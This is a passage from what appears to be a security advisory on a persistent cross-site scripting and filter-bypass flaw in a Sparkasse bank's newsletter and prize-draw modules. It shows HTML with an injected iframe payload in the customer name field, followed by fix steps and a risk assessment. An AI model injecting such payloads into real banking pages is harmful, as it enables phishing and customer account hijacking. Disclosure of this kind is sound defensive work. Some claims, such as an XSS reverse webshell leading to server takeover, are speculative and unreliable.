        <td class="h34" height="34">&ampnbsp</td>
      </tr>
      <tr>
        <td class="editorial_headline" style="font-family:'Sparkasse Rg', Arial, Helvetica, sans-serif; font-size:16px; line-height:22px; color:#ff0000;" width="100%">Sehr geehrter Herr &gt;<iframe&gt;<iframe src="a">
      </td>
    </tbody>
  </table>
  <td class="v260" width="534" border="0" cellpadding="0" cellspacing="0">
    <div style="font-family:'Sparkasse Rg', Arial, Helvetica, sans-serif; font-size:12px; line-height:12px; mso-line-height-rule:exactly;">&ampnbsp</div>
  </td>
</tr>

```

Followed by the execute in the main webpage that is generated for the web browser in the online banking web-application.

```
<h1>Sehr geehrter Herr &gt;<iframe><iframe src="#"></h1>
Sie erhalten den aktuellen Infobrief für Firmenkunden der Kasseler Sparkasse mit folgenden Themen:
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</div>

<div class="artikel_wrapper">
  <div class="article_top_artikel_geschlossen" id="content6003">
    <div class="top_headline_wrap">
      <h2>Sicher online zahlen ist einfach.</h2>
      <h1>paydirekt</h1>
    </div>
    <div class="artikel_image">
      
```

Finally the execute of the payload in the web-application with persistent attack vector looks like the following last picture.



### Solution - Fix & Patch:

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1. Parse of the vulnerable input fields in all the registration formulars of the sparkasse webpage
2. Encode and parse of the vulnerable output locations in the email header and mailing page
3. Disallow to perform malicious id requests to generate an already existing input to prevent filter bypass attacks that could lead to persistent script code injection attacks.
4. Escape the function context only in case of emergency to temporarily resolve the issue
5. Parse already stored malicious context inserted via Gewinnspiel or via Newsletter to prevent further upcomings attacks with already injected payloads
6. Parse in the email header reply the firstname and surename parameters
7. Disallow the usage of special chars on input next to the basic registrations
8. Change the id management of session requesting the source path to ensure that a saved payload can not be requested by browser preview links

Note: The attack with the wrong parsed context allows an attacker as well to attack the backend of the sparkasse online service web-application. At one point the data of the newsletter is get read by the content management system administrator or moderator. Thus location does as well not encode

the inputs of the registration which results in a third point of execution, we was not finally able to confirm this by exploitation of an administrator but we expect this behavior by intuition. As well a 4<sup>th</sup> point of attack can be the reply sender of the sparkasse finanz-informatics that notifies the user account by interaction again. The attacker is not only able to inject small script codes, attackers are able to trigger a xss reverse webshell to finally take-over the server with local content.

## **Security Risk:**

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The security risk of the application-side input validation web vulnerability and filter bypass issue in the 'PayDirect GewinnSpiel' & 'Newsletter Mailings' module is estimated as medium (CVSS 5.6). Remote attackers are able to setup own phishing or malware pages to hijack, manipulate or take-over sparkasse bank customer accounts. The exploitation is limited to the email body context and the mailings module of the sparkasse webpage. The issue has a more critical severity then the last reported issue with the following id: 10848. The new issue has an application-side persistent attack vector that is not only visible on interaction via POST. The issue can be triggered exploiting the GET method request easily as generating a client-side link with id to perform stable manipulations. Attackers are able to setup there own web-page with the sparkasse service (any domains with newsletter module) to manipulate customer or manager bank site session date and its possible to inject drive-by exploits, malware or zero-day scripts for further exploitation. All sparkassen web-pages with the newsletter web-application and the specific sub-domains are affected by the zero-day vulnerability. Even the sender of the code is as well original of the sparkasse like the internal newsletter company html web-page. The targeted user of the banking portal can not see that the mail is manipulated by the attacker because of receiving of the original sparkasse bank address. The same occurs in the newsletter page werde the original source is the sparkasse domain with certificate.

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